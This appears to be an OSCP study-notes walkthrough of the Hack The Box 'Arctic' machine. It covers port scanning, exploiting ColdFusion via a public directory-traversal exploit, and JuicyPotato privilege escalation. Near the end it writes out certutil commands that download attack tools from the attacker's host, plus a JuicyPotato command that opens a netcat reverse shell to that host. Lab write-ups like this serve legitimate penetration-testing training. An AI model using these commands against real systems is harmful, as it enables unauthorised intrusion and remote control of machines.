> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/htb/oscp-like-boxes/arctic.md).

# Arctic

### Nmap Full port scan (TCP)

<figure><img src="/files/AmHPasDDcN99Siz7KVr0" alt=""><figcaption></figcaption></figure>

### Nmap Aggressive scan

<figure><img src="/files/vCxe0qec7iwKNrT95J3G" alt=""><figcaption></figcaption></figure>

### Enumerating Port 8500

Searching port 8500 online (<https://www.speedguide.net/port.php?port=8500>) —> could be Macromedia ColdFusion MX Server using that port.

<figure><img src="/files/wZaWLDmZCfsd0Hp5gRno" alt=""><figcaption></figcaption></figure>

Heading to `http://10.10.10.11:8500` on the web browser

<figure><img src="/files/6Yta1kkzghrOBDAn5Kws" alt=""><figcaption></figcaption></figure>

Searching online `CFIDE` exploit —> **Adobe ColdFusion - Directory Traversal**

<https://www.exploit-db.com/exploits/50057>

Edit the IP addr and ports

<figure><img src="/files/SNCw7oiCYX4ZiEMVXqKa" alt=""><figcaption></figcaption></figure>

Got user shell

<figure><img src="/files/NG7tBSq1HQa7dyRktKwU" alt=""><figcaption></figcaption></figure>

### Privilege Escalation

<figure><img src="/files/ZNCtkafWmMTAA6igvewC" alt=""><figcaption></figcaption></figure>

* `SeImpersonatePrivilege` is enables —> vulnerable to Juicy Potato PrivEsc.
* Transfer `nc64.exe` and `juicypotato.exe` to victim

```bash
certutil -urlcache -f <http://10.10.14.6/juicypotato.exe> juicypotato.exe
certutil -urlcache -f <http://10.10.14.6/nc64.exe> nc64.exe
```

* Open netcat listener on attacker using `nc -lvp 443`
* Run JuicyPotato attack

```bash
juicypotato.exe -l 1337 -p c:\\windows\\system32\\cmd.exe -a "/c c:\\users\\tolis\\Desktop\\nc64.exe -e cmd.exe 10.10.14.6 443" -t *
```

* Got root shell

<figure><img src="/files/CireygXyRAyt6CmkGjqt" alt=""><figcaption></figcaption></figure>
